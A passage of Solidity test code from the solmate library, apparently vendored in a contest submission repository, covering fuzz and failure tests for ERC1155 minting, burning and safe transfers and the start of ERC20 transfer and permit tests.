if (uint256(uint160(to)) <= 18 || to.code.length > 0) return;
token.mint(to, id, amount, mintData);
assertEq(token.balanceOf(to, id), amount);
}
function testMintToERC1155Recipient(
uint256 id,
uint256 amount,
bytes memory mintData
) public {
ERC1155Recipient to = new ERC1155Recipient();
token.mint(address(to), id, amount, mintData);
assertEq(token.balanceOf(address(to), id), amount);
assertEq(to.operator(), address(this));
assertEq(to.from(), address(0));
assertEq(to.id(), id);
assertBytesEq(to.mintData(), mintData);
}
function testBatchMintToEOA(
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory mintData
) public {
if (to == address(0)) to = address(0xBEEF);
if (uint256(uint160(to)) <= 18 || to.code.length > 0) return;
uint256 minLength = min2(ids.length, amounts.length);
uint256[] memory normalizedIds = new uint256[](minLength);
uint256[] memory normalizedAmounts = new uint256[](minLength);
for (uint256 i = 0; i < minLength; i++) {
uint256 id = ids[i];
uint256 remainingMintAmountForId = type(uint256).max - userMintAmounts[to][id];
uint256 mintAmount = bound(amounts[i], 0, remainingMintAmountForId);
normalizedIds[i] = id;
normalizedAmounts[i] = mintAmount;
userMintAmounts[to][id] += mintAmount;
}
token.batchMint(to, normalizedIds, normalizedAmounts, mintData);
for (uint256 i = 0; i < normalizedIds.length; i++) {
uint256 id = normalizedIds[i];
assertEq(token.balanceOf(to, id), userMintAmounts[to][id]);
}
}
function testBatchMintToERC1155Recipient(
uint256[] memory ids,
uint256[] memory amounts,
bytes memory mintData
) public {
ERC1155Recipient to = new ERC1155Recipient();
uint256 minLength = min2(ids.length, amounts.length);
uint256[] memory normalizedIds = new uint256[](minLength);
uint256[] memory normalizedAmounts = new uint256[](minLength);
for (uint256 i = 0; i < minLength; i++) {
uint256 id = ids[i];
uint256 remainingMintAmountForId = type(uint256).max - userMintAmounts[address(to)][id];
uint256 mintAmount = bound(amounts[i], 0, remainingMintAmountForId);
normalizedIds[i] = id;
normalizedAmounts[i] = mintAmount;
userMintAmounts[address(to)][id] += mintAmount;
}
token.batchMint(address(to), normalizedIds, normalizedAmounts, mintData);
assertEq(to.batchOperator(), address(this));
assertEq(to.batchFrom(), address(0));
assertUintArrayEq(to.batchIds(), normalizedIds);
assertUintArrayEq(to.batchAmounts(), normalizedAmounts);
assertBytesEq(to.batchData(), mintData);
for (uint256 i = 0; i < normalizedIds.length; i++) {
uint256 id = normalizedIds[i];
assertEq(token.balanceOf(address(to), id), userMintAmounts[address(to)][id]);
}
}
function testBurn(
address to,
uint256 id,
uint256 mintAmount,
bytes memory mintData,
uint256 burnAmount
) public {
if (to == address(0)) to = address(0xBEEF);
if (uint256(uint160(to)) <= 18 || to.code.length > 0) return;
burnAmount = bound(burnAmount, 0, mintAmount);
token.mint(to, id, mintAmount, mintData);
token.burn(to, id, burnAmount);
assertEq(token.balanceOf(address(to), id), mintAmount - burnAmount);
}
function testBatchBurn(
address to,
uint256[] memory ids,
uint256[] memory mintAmounts,
uint256[] memory burnAmounts,
bytes memory mintData
) public {
if (to == address(0)) to = address(0xBEEF);
if (uint256(uint160(to)) <= 18 || to.code.length > 0) return;
uint256 minLength = min3(ids.length, mintAmounts.length, burnAmounts.length);
uint256[] memory normalizedIds = new uint256[](minLength);
uint256[] memory normalizedMintAmounts = new uint256[](minLength);
uint256[] memory normalizedBurnAmounts = new uint256[](minLength);
for (uint256 i = 0; i < minLength; i++) {
uint256 id = ids[i];
uint256 remainingMintAmountForId = type(uint256).max - userMintAmounts[address(to)][id];
normalizedIds[i] = id;
normalizedMintAmounts[i] = bound(mintAmounts[i], 0, remainingMintAmountForId);
normalizedBurnAmounts[i] = bound(burnAmounts[i], 0, normalizedMintAmounts[i]);
userMintAmounts[address(to)][id] += normalizedMintAmounts[i];
userTransferOrBurnAmounts[address(to)][id] += normalizedBurnAmounts[i];
}
token.batchMint(to, normalizedIds, normalizedMintAmounts, mintData);
token.batchBurn(to, normalizedIds, normalizedBurnAmounts);
for (uint256 i = 0; i < normalizedIds.length; i++) {
uint256 id = normalizedIds[i];
assertEq(token.balanceOf(to, id), userMintAmounts[to][id] - userTransferOrBurnAmounts[to][id]);
}
}
function testApproveAll(address to, bool approved) public {
token.setApprovalForAll(to, approved);
assertBoolEq(token.isApprovedForAll(address(this), to), approved);
}
function testSafeTransferFromToEOA(
uint256 id,
uint256 mintAmount,
bytes memory mintData,
uint256 transferAmount,
address to,
bytes memory transferData
) public {
if (to == address(0)) to = address(0xBEEF);
if (uint256(uint160(to)) <= 18 || to.code.length > 0) return;
transferAmount = bound(transferAmount, 0, mintAmount);
ERC1155User from = new ERC1155User(token);
token.mint(address(from), id, mintAmount, mintData);
from.setApprovalForAll(address(this), true);
token.safeTransferFrom(address(from), to, id, transferAmount, transferData);
assertEq(token.balanceOf(to, id), transferAmount);
assertEq(token.balanceOf(address(from), id), mintAmount - transferAmount);
}
function testSafeTransferFromToERC1155Recipient(
uint256 id,
uint256 mintAmount,
bytes memory mintData,
uint256 transferAmount,
bytes memory transferData
) public {
ERC1155Recipient to = new ERC1155Recipient();
ERC1155User from = new ERC1155User(token);
transferAmount = bound(transferAmount, 0, mintAmount);
token.mint(address(from), id, mintAmount, mintData);
from.setApprovalForAll(address(this), true);
token.safeTransferFrom(address(from), address(to), id, transferAmount, transferData);
assertEq(to.operator(), address(this));
assertEq(to.from(), address(from));
assertEq(to.id(), id);
assertBytesEq(to.mintData(), transferData);
assertEq(token.balanceOf(address(to), id), transferAmount);
assertEq(token.balanceOf(address(from), id), mintAmount - transferAmount);
}
function testSafeTransferFromSelf(
uint256 id,
uint256 mintAmount,
bytes memory mintData,
uint256 transferAmount,
address to,
bytes memory transferData
) public {
if (to == address(0)) to = address(0xBEEF);
if (uint256(uint160(to)) <= 18 || to.code.length > 0) return;
transferAmount = bound(transferAmount, 0, mintAmount);
token.mint(address(this), id, mintAmount, mintData);
token.safeTransferFrom(address(this), to, id, transferAmount, transferData);
assertEq(token.balanceOf(to, id), transferAmount);
assertEq(token.balanceOf(address(this), id), mintAmount - transferAmount);
}
function testSafeBatchTransferFromToEOA(
address to,
uint256[] memory ids,
uint256[] memory mintAmounts,
uint256[] memory transferAmounts,
bytes memory mintData,
bytes memory transferData
) public {
if (to == address(0)) to = address(0xBEEF);
if (uint256(uint160(to)) <= 18 || to.code.length > 0) return;
ERC1155User from = new ERC1155User(token);
uint256 minLength = min3(ids.length, mintAmounts.length, transferAmounts.length);
uint256[] memory normalizedIds = new uint256[](minLength);
uint256[] memory normalizedMintAmounts = new uint256[](minLength);
uint256[] memory normalizedTransferAmounts = new uint256[](minLength);
for (uint256 i = 0; i < minLength; i++) {
uint256 id = ids[i];
uint256 remainingMintAmountForId = type(uint256).max - userMintAmounts[address(from)][id];
uint256 mintAmount = bound(mintAmounts[i], 0, remainingMintAmountForId);
uint256 transferAmount = bound(transferAmounts[i], 0, mintAmount);
normalizedIds[i] = id;
normalizedMintAmounts[i] = mintAmount;
normalizedTransferAmounts[i] = transferAmount;
userMintAmounts[address(from)][id] += mintAmount;
userTransferOrBurnAmounts[address(from)][id] += transferAmount;
}
token.batchMint(address(from), normalizedIds, normalizedMintAmounts, mintData);
from.setApprovalForAll(address(this), true);
token.safeBatchTransferFrom(address(from), to, normalizedIds, normalizedTransferAmounts, transferData);
for (uint256 i = 0; i < normalizedIds.length; i++) {
uint256 id = normalizedIds[i];
assertEq(token.balanceOf(address(to), id), userTransferOrBurnAmounts[address(from)][id]);
assertEq(
token.balanceOf(address(from), id),
userMintAmounts[address(from)][id] - userTransferOrBurnAmounts[address(from)][id]
);
}
}
function testSafeBatchTransferFromToERC1155Recipient(
uint256[] memory ids,
uint256[] memory mintAmounts,
uint256[] memory transferAmounts,
bytes memory mintData,
bytes memory transferData
) public {
ERC1155User from = new ERC1155User(token);
ERC1155Recipient to = new ERC1155Recipient();
uint256 minLength = min3(ids.length, mintAmounts.length, transferAmounts.length);
uint256[] memory normalizedIds = new uint256[](minLength);
uint256[] memory normalizedMintAmounts = new uint256[](minLength);
uint256[] memory normalizedTransferAmounts = new uint256[](minLength);
for (uint256 i = 0; i < minLength; i++) {
uint256 id = ids[i];
uint256 remainingMintAmountForId = type(uint256).max - userMintAmounts[address(from)][id];
uint256 mintAmount = bound(mintAmounts[i], 0, remainingMintAmountForId);
uint256 transferAmount = bound(transferAmounts[i], 0, mintAmount);
normalizedIds[i] = id;
normalizedMintAmounts[i] = mintAmount;
normalizedTransferAmounts[i] = transferAmount;
userMintAmounts[address(from)][id] += mintAmount;
userTransferOrBurnAmounts[address(from)][id] += transferAmount;
}
token.batchMint(address(from), normalizedIds, normalizedMintAmounts, mintData);
from.setApprovalForAll(address(this), true);
token.safeBatchTransferFrom(address(from), address(to), normalizedIds, normalizedTransferAmounts, transferData);
assertEq(to.batchOperator(), address(this));
assertEq(to.batchFrom(), address(from));
assertUintArrayEq(to.batchIds(), normalizedIds);
assertUintArrayEq(to.batchAmounts(), normalizedTransferAmounts);
assertBytesEq(to.batchData(), transferData);
for (uint256 i = 0; i < normalizedIds.length; i++) {
uint256 id = normalizedIds[i];
uint256 transferAmount = userTransferOrBurnAmounts[address(from)][id];
assertEq(token.balanceOf(address(to), id), transferAmount);
assertEq(token.balanceOf(address(from), id), userMintAmounts[address(from)][id] - transferAmount);
}
}
function testBatchBalanceOf(
address[] memory tos,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory mintData
) public {
uint256 minLength = min3(tos.length, ids.length, amounts.length);
address[] memory normalizedTos = new address[](minLength);
uint256[] memory normalizedIds = new uint256[](minLength);
for (uint256 i = 0; i < minLength; i++) {
uint256 id = ids[i];
address to = tos[i] == address(0) ? address(0xBEEF) : tos[i];
uint256 remainingMintAmountForId = type(uint256).max - userMintAmounts[to][id];
normalizedTos[i] = to;
normalizedIds[i] = id;
uint256 mintAmount = bound(amounts[i], 0, remainingMintAmountForId);
token.mint(to, id, mintAmount, mintData);
userMintAmounts[to][id] += mintAmount;
}
uint256[] memory balances = token.balanceOfBatch(normalizedTos, normalizedIds);
for (uint256 i = 0; i < normalizedTos.length; i++) {
assertEq(balances[i], token.balanceOf(normalizedTos[i], normalizedIds[i]));
}
}
function testFailMintToZero(
uint256 id,
uint256 amount,
bytes memory data
) public {
token.mint(address(0), id, amount, data);
}
function testFailMintToNonERC155Recipient(
uint256 id,
uint256 mintAmount,
bytes memory mintData
) public {
token.mint(address(new NonERC1155Recipient()), id, mintAmount, mintData);
}
function testFailMintToRevertingERC155Recipient(
uint256 id,
uint256 mintAmount,
bytes memory mintData
) public {
token.mint(address(new RevertingERC1155Recipient()), id, mintAmount, mintData);
}
function testFailMintToWrongReturnDataERC155Recipient(
uint256 id,
uint256 mintAmount,
bytes memory mintData
) public {
token.mint(address(new RevertingERC1155Recipient()), id, mintAmount, mintData);
}
function testFailBurnInsufficientBalance(
address to,
uint256 id,
uint256 mintAmount,
uint256 burnAmount,
bytes memory mintData
) public {
burnAmount = bound(burnAmount, mintAmount + 1, type(uint256).max);
token.mint(to, id, mintAmount, mintData);
token.burn(to, id, burnAmount);
}
function testFailSafeTransferFromInsufficientBalance(
address to,
uint256 id,
uint256 mintAmount,
uint256 transferAmount,
bytes memory mintData,
bytes memory transferData
) public {
ERC1155User from = new ERC1155User(token);
transferAmount = bound(transferAmount, mintAmount + 1, type(uint256).max);
token.mint(address(from), id, mintAmount, mintData);
from.setApprovalForAll(address(this), true);
token.safeTransferFrom(address(from), to, id, transferAmount, transferData);
}
function testFailSafeTransferFromSelfInsufficientBalance(
address to,
uint256 id,
uint256 mintAmount,
uint256 transferAmount,
bytes memory mintData,
bytes memory transferData
) public {
transferAmount = bound(transferAmount, mintAmount + 1, type(uint256).max);
token.mint(address(this), id, mintAmount, mintData);
token.safeTransferFrom(address(this), to, id, transferAmount, transferData);
}
function testFailSafeTransferFromToZero(
uint256 id,
uint256 mintAmount,
uint256 transferAmount,
bytes memory mintData,
bytes memory transferData
) public {
transferAmount = bound(transferAmount, 0, mintAmount);
token.mint(address(this), id, mintAmount, mintData);
token.safeTransferFrom(address(this), address(0), id, transferAmount, transferData);
}
function testFailSafeTransferFromToNonERC155Recipient(
uint256 id,
uint256 mintAmount,
uint256 transferAmount,
bytes memory mintData,
bytes memory transferData
) public {
transferAmount = bound(transferAmount, 0, mintAmount);
token.mint(address(this), id, mintAmount, mintData);
token.safeTransferFrom(address(this), address(new NonERC1155Recipient()), id, transferAmount, transferData);
}
function testFailSafeTransferFromToRevertingERC1155Recipient(
uint256 id,
uint256 mintAmount,
uint256 transferAmount,
bytes memory mintData,
bytes memory transferData
) public {
transferAmount = bound(transferAmount, 0, mintAmount);
token.mint(address(this), id, mintAmount, mintData);
token.safeTransferFrom(
address(this),
address(new RevertingERC1155Recipient()),
id,
transferAmount,
transferData
);
}
function testFailSafeTransferFromToWrongReturnDataERC1155Recipient(
uint256 id,
uint256 mintAmount,
uint256 transferAmount,
bytes memory mintData,
bytes memory transferData
) public {
transferAmount = bound(transferAmount, 0, mintAmount);
token.mint(address(this), id, mintAmount, mintData);
token.safeTransferFrom(
address(this),
address(new WrongReturnDataERC1155Recipient()),
id,
transferAmount,
transferData
);
}
function testFailSafeBatchTransferInsufficientBalance(
address to,
uint256[] memory ids,
uint256[] memory mintAmounts,
uint256[] memory transferAmounts,
bytes memory mintData,
bytes memory transferData
) public {
ERC1155User from = new ERC1155User(token);
uint256 minLength = min3(ids.length, mintAmounts.length, transferAmounts.length);
uint256[] memory normalizedIds = new uint256[](minLength);
uint256[] memory normalizedMintAmounts = new uint256[](minLength);
uint256[] memory normalizedTransferAmounts = new uint256[](minLength);
for (uint256 i = 0; i < minLength; i++) {
uint256 id = ids[i];
uint256 remainingMintAmountForId = type(uint256).max - userMintAmounts[address(from)][id];
uint256 mintAmount = bound(mintAmounts[i], 0, remainingMintAmountForId);
uint256 transferAmount = bound(transferAmounts[i], mintAmount + 1, type(uint256).max);
normalizedIds[i] = id;
normalizedMintAmounts[i] = mintAmount;
normalizedTransferAmounts[i] = transferAmount;
userMintAmounts[address(from)][id] += mintAmount;
}
token.batchMint(address(from), normalizedIds, normalizedMintAmounts, mintData);
from.setApprovalForAll(address(this), true);
token.safeBatchTransferFrom(address(from), to, normalizedIds, normalizedTransferAmounts, transferData);
}
function testFailSafeBatchTransferFromToZero(
uint256[] memory ids,
uint256[] memory mintAmounts,
uint256[] memory transferAmounts,
bytes memory mintData,
bytes memory transferData
) public {
ERC1155User from = new ERC1155User(token);
uint256 minLength = min3(ids.length, mintAmounts.length, transferAmounts.length);
uint256[] memory normalizedIds = new uint256[](minLength);
uint256[] memory normalizedMintAmounts = new uint256[](minLength);
uint256[] memory normalizedTransferAmounts = new uint256[](minLength);
for (uint256 i = 0; i < minLength; i++) {
uint256 id = ids[i];
uint256 remainingMintAmountForId = type(uint256).max - userMintAmounts[address(from)][id];
uint256 mintAmount = bound(mintAmounts[i], 0, remainingMintAmountForId);
uint256 transferAmount = bound(transferAmounts[i], 0, mintAmount);
normalizedIds[i] = id;
normalizedMintAmounts[i] = mintAmount;
normalizedTransferAmounts[i] = transferAmount;
userMintAmounts[address(from)][id] += mintAmount;
}
token.batchMint(address(from), normalizedIds, normalizedMintAmounts, mintData);
from.setApprovalForAll(address(this), true);
token.safeBatchTransferFrom(address(from), address(0), normalizedIds, normalizedTransferAmounts, transferData);
}
function testFailSafeBatchTransferFromToNonERC1155Recipient(
uint256[] memory ids,
uint256[] memory mintAmounts,
uint256[] memory transferAmounts,
bytes memory mintData,
bytes memory transferData
) public {
ERC1155User from = new ERC1155User(token);
uint256 minLength = min3(ids.length, mintAmounts.length, transferAmounts.length);
uint256[] memory normalizedIds = new uint256[](minLength);
uint256[] memory normalizedMintAmounts = new uint256[](minLength);
uint256[] memory normalizedTransferAmounts = new uint256[](minLength);
for (uint256 i = 0; i < minLength; i++) {
uint256 id = ids[i];
uint256 remainingMintAmountForId = type(uint256).max - userMintAmounts[address(from)][id];
uint256 mintAmount = bound(mintAmounts[i], 0, remainingMintAmountForId);
uint256 transferAmount = bound(transferAmounts[i], 0, mintAmount);
normalizedIds[i] = id;
normalizedMintAmounts[i] = mintAmount;
normalizedTransferAmounts[i] = transferAmount;
userMintAmounts[address(from)][id] += mintAmount;
}
token.batchMint(address(from), normalizedIds, normalizedMintAmounts, mintData);
from.setApprovalForAll(address(this), true);
token.safeBatchTransferFrom(
address(from),
address(new NonERC1155Recipient()),
normalizedIds,
normalizedTransferAmounts,
transferData
);
}
function testFailSafeBatchTransferFromToRevertingERC1155Recipient(
uint256[] memory ids,
uint256[] memory mintAmounts,
uint256[] memory transferAmounts,
bytes memory mintData,
bytes memory transferData
) public {
ERC1155User from = new ERC1155User(token);
uint256 minLength = min3(ids.length, mintAmounts.length, transferAmounts.length);
uint256[] memory normalizedIds = new uint256[](minLength);
uint256[] memory normalizedMintAmounts = new uint256[](minLength);
uint256[] memory normalizedTransferAmounts = new uint256[](minLength);
for (uint256 i = 0; i < minLength; i++) {
uint256 id = ids[i];
uint256 remainingMintAmountForId = type(uint256).max - userMintAmounts[address(from)][id];
uint256 mintAmount = bound(mintAmounts[i], 0, remainingMintAmountForId);
uint256 transferAmount = bound(transferAmounts[i], 0, mintAmount);
normalizedIds[i] = id;
normalizedMintAmounts[i] = mintAmount;
normalizedTransferAmounts[i] = transferAmount;
userMintAmounts[address(from)][id] += mintAmount;
}
token.batchMint(address(from), normalizedIds, normalizedMintAmounts, mintData);
from.setApprovalForAll(address(this), true);
token.safeBatchTransferFrom(
address(from),
address(new RevertingERC1155Recipient()),
normalizedIds,
normalizedTransferAmounts,
transferData
);
}
function testFailSafeBatchTransferFromToWrongReturnDataERC1155Recipient(
uint256[] memory ids,
uint256[] memory mintAmounts,
uint256[] memory transferAmounts,
bytes memory mintData,
bytes memory transferData
) public {
ERC1155User from = new ERC1155User(token);
uint256 minLength = min3(ids.length, mintAmounts.length, transferAmounts.length);
uint256[] memory normalizedIds = new uint256[](minLength);
uint256[] memory normalizedMintAmounts = new uint256[](minLength);
uint256[] memory normalizedTransferAmounts = new uint256[](minLength);
for (uint256 i = 0; i < minLength; i++) {
uint256 id = ids[i];
uint256 remainingMintAmountForId = type(uint256).max - userMintAmounts[address(from)][id];
uint256 mintAmount = bound(mintAmounts[i], 0, remainingMintAmountForId);
uint256 transferAmount = bound(transferAmounts[i], 0, mintAmount);
normalizedIds[i] = id;
normalizedMintAmounts[i] = mintAmount;
normalizedTransferAmounts[i] = transferAmount;
userMintAmounts[address(from)][id] += mintAmount;
}
token.batchMint(address(from), normalizedIds, normalizedMintAmounts, mintData);
from.setApprovalForAll(address(this), true);
token.safeBatchTransferFrom(
address(from),
address(new WrongReturnDataERC1155Recipient()),
normalizedIds,
normalizedTransferAmounts,
transferData
);
}
function testFailSafeBatchTransferFromWithArrayLengthMismatch(
address to,
uint256[] memory ids,
uint256[] memory mintAmounts,
uint256[] memory transferAmounts,
bytes memory mintData,
bytes memory transferData
) public {
ERC1155User from = new ERC1155User(token);
if (ids.length == transferAmounts.length) revert();
token.batchMint(address(from), ids, mintAmounts, mintData);
from.setApprovalForAll(address(this), true);
token.safeBatchTransferFrom(address(from), to, ids, transferAmounts, transferData);
}
function testFailBatchMintToZero(
uint256[] memory ids,
uint256[] memory amounts,
bytes memory mintData
) public {
uint256 minLength = min2(ids.length, amounts.length);
uint256[] memory normalizedIds = new uint256[](minLength);
uint256[] memory normalizedAmounts = new uint256[](minLength);
for (uint256 i = 0; i < minLength; i++) {
uint256 id = ids[i];
uint256 remainingMintAmountForId = type(uint256).max - userMintAmounts[address(0)][id];
uint256 mintAmount = bound(amounts[i], 0, remainingMintAmountForId);
normalizedIds[i] = id;
normalizedAmounts[i] = mintAmount;
userMintAmounts[address(0)][id] += mintAmount;
}
token.batchMint(address(0), normalizedIds, normalizedAmounts, mintData);
}
function testFailBatchMintToNonERC1155Recipient(
uint256[] memory ids,
uint256[] memory amounts,
bytes memory mintData
) public {
NonERC1155Recipient to = new NonERC1155Recipient();
uint256 minLength = min2(ids.length, amounts.length);
uint256[] memory normalizedIds = new uint256[](minLength);
uint256[] memory normalizedAmounts = new uint256[](minLength);
for (uint256 i = 0; i < minLength; i++) {
uint256 id = ids[i];
uint256 remainingMintAmountForId = type(uint256).max - userMintAmounts[address(to)][id];
uint256 mintAmount = bound(amounts[i], 0, remainingMintAmountForId);
normalizedIds[i] = id;
normalizedAmounts[i] = mintAmount;
userMintAmounts[address(to)][id] += mintAmount;
}
token.batchMint(address(to), normalizedIds, normalizedAmounts, mintData);
}
function testFailBatchMintToRevertingERC1155Recipient(
uint256[] memory ids,
uint256[] memory amounts,
bytes memory mintData
) public {
RevertingERC1155Recipient to = new RevertingERC1155Recipient();
uint256 minLength = min2(ids.length, amounts.length);
uint256[] memory normalizedIds = new uint256[](minLength);
uint256[] memory normalizedAmounts = new uint256[](minLength);
for (uint256 i = 0; i < minLength; i++) {
uint256 id = ids[i];
uint256 remainingMintAmountForId = type(uint256).max - userMintAmounts[address(to)][id];
uint256 mintAmount = bound(amounts[i], 0, remainingMintAmountForId);
normalizedIds[i] = id;
normalizedAmounts[i] = mintAmount;
userMintAmounts[address(to)][id] += mintAmount;
}
token.batchMint(address(to), normalizedIds, normalizedAmounts, mintData);
}
function testFailBatchMintToWrongReturnDataERC1155Recipient(
uint256[] memory ids,
uint256[] memory amounts,
bytes memory mintData
) public {
WrongReturnDataERC1155Recipient to = new WrongReturnDataERC1155Recipient();
uint256 minLength = min2(ids.length, amounts.length);
uint256[] memory normalizedIds = new uint256[](minLength);
uint256[] memory normalizedAmounts = new uint256[](minLength);
for (uint256 i = 0; i < minLength; i++) {
uint256 id = ids[i];
uint256 remainingMintAmountForId = type(uint256).max - userMintAmounts[address(to)][id];
uint256 mintAmount = bound(amounts[i], 0, remainingMintAmountForId);
normalizedIds[i] = id;
normalizedAmounts[i] = mintAmount;
userMintAmounts[address(to)][id] += mintAmount;
}
token.batchMint(address(to), normalizedIds, normalizedAmounts, mintData);
}
function testFailBatchMintWithArrayMismatch(
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory mintData
) public {
if (ids.length == amounts.length) revert();
token.batchMint(address(to), ids, amounts, mintData);
}
function testFailBatchBurnInsufficientBalance(
address to,
uint256[] memory ids,
uint256[] memory mintAmounts,
uint256[] memory burnAmounts,
bytes memory mintData
) public {
uint256 minLength = min3(ids.length, mintAmounts.length, burnAmounts.length);
uint256[] memory normalizedIds = new uint256[](minLength);
uint256[] memory normalizedMintAmounts = new uint256[](minLength);
uint256[] memory normalizedBurnAmounts = new uint256[](minLength);
for (uint256 i = 0; i < minLength; i++) {
uint256 id = ids[i];
uint256 remainingMintAmountForId = type(uint256).max - userMintAmounts[to][id];
normalizedIds[i] = id;
normalizedMintAmounts[i] = bound(mintAmounts[i], 0, remainingMintAmountForId);
normalizedBurnAmounts[i] = bound(burnAmounts[i], normalizedMintAmounts[i] + 1, type(uint256).max);
userMintAmounts[to][id] += normalizedMintAmounts[i];
}
token.batchMint(to, normalizedIds, normalizedMintAmounts, mintData);
token.batchBurn(to, normalizedIds, normalizedBurnAmounts);
}
function testFailBatchBurnWithArrayLengthMismatch(
address to,
uint256[] memory ids,
uint256[] memory mintAmounts,
uint256[] memory burnAmounts,
bytes memory mintData
) public {
if (ids.length == burnAmounts.length) revert();
token.batchMint(to, ids, mintAmounts, mintData);
token.batchBurn(to, ids, burnAmounts);
}
function testFailBalanceOfBatchWithArrayMismatch(address[] memory tos, uint256[] memory ids) public view {
if (tos.length == ids.length) revert();
token.balanceOfBatch(tos, ids);
}
function onERC1155Received(
address,
address,
uint256,
uint256,
bytes calldata
) public pure override returns (bytes4) {
return ERC1155TokenReceiver.onERC1155Received.selector;
}
function onERC1155BatchReceived(
address,
address,
uint256[] calldata,
uint256[] calldata,
bytes calldata
) external pure override returns (bytes4) {
return ERC1155TokenReceiver.onERC1155BatchReceived.selector;
}
}
================================================
FILE: 2022/submissions_2022/submission12_HubertRitzdorf/lib/solmate/src/test/ERC20.t.sol
================================================
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity 0.8.10;
import {DSTestPlus} from "./utils/DSTestPlus.sol";
import {DSInvariantTest} from "./utils/DSInvariantTest.sol";
import {MockERC20} from "./utils/mocks/MockERC20.sol";
import {ERC20User} from "./utils/users/ERC20User.sol";
contract ERC20Test is DSTestPlus {
MockERC20 token;
function setUp() public {
token = new MockERC20("Token", "TKN", 18);
}
function invariantMetadata() public {
assertEq(token.name(), "Token");
assertEq(token.symbol(), "TKN");
assertEq(token.decimals(), 18);
}
function testMetaData() public {
assertEq(token.name(), "Token");
assertEq(token.symbol(), "TKN");
assertEq(token.decimals(), 18);
}
function testMint() public {
token.mint(address(0xBEEF), 1e18);
assertEq(token.totalSupply(), 1e18);
assertEq(token.balanceOf(address(0xBEEF)), 1e18);
}
function testBurn() public {
token.mint(address(0xBEEF), 1e18);
token.burn(address(0xBEEF), 0.9e18);
assertEq(token.totalSupply(), 1e18 - 0.9e18);
assertEq(token.balanceOf(address(0xBEEF)), 0.1e18);
}
function testApprove() public {
assertTrue(token.approve(address(0xBEEF), 1e18));
assertEq(token.allowance(address(this), address(0xBEEF)), 1e18);
}
function testTransfer() public {
token.mint(address(this), 1e18);
assertTrue(token.transfer(address(0xBEEF), 1e18));
assertEq(token.totalSupply(), 1e18);
assertEq(token.balanceOf(address(this)), 0);
assertEq(token.balanceOf(address(0xBEEF)), 1e18);
}
function testTransferFrom() public {
ERC20User from = new ERC20User(token);
token.mint(address(from), 1e18);
from.approve(address(this), 1e18);
assertTrue(token.transferFrom(address(from), address(0xBEEF), 1e18));
assertEq(token.totalSupply(), 1e18);
assertEq(token.allowance(address(from), address(this)), 0);
assertEq(token.balanceOf(address(from)), 0);
assertEq(token.balanceOf(address(0xBEEF)), 1e18);
}
function testInfiniteApproveTransferFrom() public {
ERC20User from = new ERC20User(token);
token.mint(address(from), 1e18);
from.approve(address(this), type(uint256).max);
assertTrue(token.transferFrom(address(from), address(0xBEEF), 1e18));
assertEq(token.totalSupply(), 1e18);
assertEq(token.allowance(address(from), address(this)), type(uint256).max);
assertEq(token.balanceOf(address(from)), 0);
assertEq(token.balanceOf(address(0xBEEF)), 1e18);
}
function testPermit() public {
uint256 privateKey = 0xBEEF;
address owner = hevm.addr(privateKey);
(uint8 v, bytes32 r, bytes32 s) = hevm.sign(
privateKey,
keccak256(
abi.encodePacked(
"\x19\x01",
token.DOMAIN_SEPARATOR(),
keccak256(abi.encode(token.PERMIT_TYPEHASH(), owner, address(0xCAFE), 1e18, 0, block.timestamp))
)
)
);
token.permit(owner, address(0xCAFE), 1e18, block.timestamp, v, r, s);
assertEq(token.allowance(owner, address(0xCAFE)), 1e18);
assertEq(token.nonces(owner), 1);
}
function testFailTransferInsufficientBalance() public {
token.mint(address(this), 0.9e18);
token.transfer(address(0xBEEF), 1e18);
}
function testFailTransferFromInsufficientAllowance() public {
ERC20User from = new ERC20User(token);
token.mint(address(from), 1e18);
from.approve(address(this), 0.9e18);
token.transferFrom(address(from), address(0xBEEF), 1e18);
}
function testFailTransferFromInsufficientBalance() public {
ERC20User from = new ERC20User(token);
token.mint(address(from), 0.9e18);
from.approve(address(this), 1e18);
token.transferFrom(address(from), address(0xBEEF), 1e18);
}
function testFailPermitBadNonce() public {
uint256 privateKey = 0xBEEF;
address owner = hevm.addr(privateKey);
(uint8 v, bytes32 r, bytes32 s) = hevm.sign(
privateKey,
keccak256(
abi.encodePacked(
"\x19\x01",
token.DOMAIN_SEPARATOR(),
keccak256(abi.encode(token.PERMIT_TYPEHASH(), owner, address(0xCAFE), 1e18, 1, block.timestamp))
)
)
);
token.permit(owner, address(0xCAFE), 1e18, block.timestamp, v, r, s);
}
function testFailPermitBadDeadline() public {
uint256 privateKey = 0xBEEF;
address owner = hevm.addr(privateKey);
(uint8 v, bytes32 r, bytes32 s) = hevm.sign(
privateKey,
keccak256(
abi.encodePacked(
"\x19\x01",
token.DOMAIN_SEPARATOR(),
keccak256(abi.encode(token.PERMIT_TYPEHASH(), owner, address(0xCAFE), 1e18, 0, block.timestamp))
)
)
);
token.permit(owner, address(0xCAFE), 1e18, block.timestamp + 1, v, r, s);
}
function testFailPermitPastDeadline() public {
uint256 privateKey = 0xBEEF;
address owner = hevm.addr(privateKey);
(uint8 v, bytes32 r, bytes32 s) = hevm.sign(
privateKey,
keccak256(
abi.encodePacked(
"\x19\x01",
token.DOMAIN_SEPARATOR(),
keccak256(abi.encode(token.PERMIT_TYPEHASH(), owner, address(0xCAFE), 1e18, 0, block.timestamp - 1))
)
)
);
token.permit(owner, address(0xCAFE), 1e18, block.timestamp - 1, v, r, s);
}
function testFailPermitReplay() public {
uint256 privateKey = 0xBEEF;
address owner = hevm.addr(privateKey);
(uint8 v, bytes32 r, bytes32 s) = hevm.sign(
privateKey,
keccak256(
abi.encodePacked(
"\x19\x01",
token.DOMAIN_SEPARATOR(),
keccak256(abi.encode(token.PERMIT_TYPEHASH(), owner, address(0xCAFE), 1e18, 0, block.timestamp))
)
)
);
token.permit(owner, address(0xCAFE), 1e18, block.timestamp, v, r, s);
token.permit(owner, address(0xCAFE), 1e18, block.timestamp, v, r, s);
}
function testMetaData(
string calldata name,
string calldata symbol,
uint8 decimals
) public {
MockERC20 tkn = new MockERC20(name, symbol, decimals);
assertEq(tkn.name(), name);
assertEq(tkn.symbol(), symbol);
assertEq(tkn.decimals(), decimals);
}
function testMint(address from, uint256 amount) public {
token.mint(from, amount);
assertEq(token.totalSupply(), amount);
assertEq(token.balanceOf(from), amount);
}
function testBurn(
address from,
uint256 mintAmount,
uint256 burnAmount
) public {
burnAmount = bound(burnAmount, 0, mintAmount);
token.mint(from, mintAmount);
token.burn(from, burnAmount);
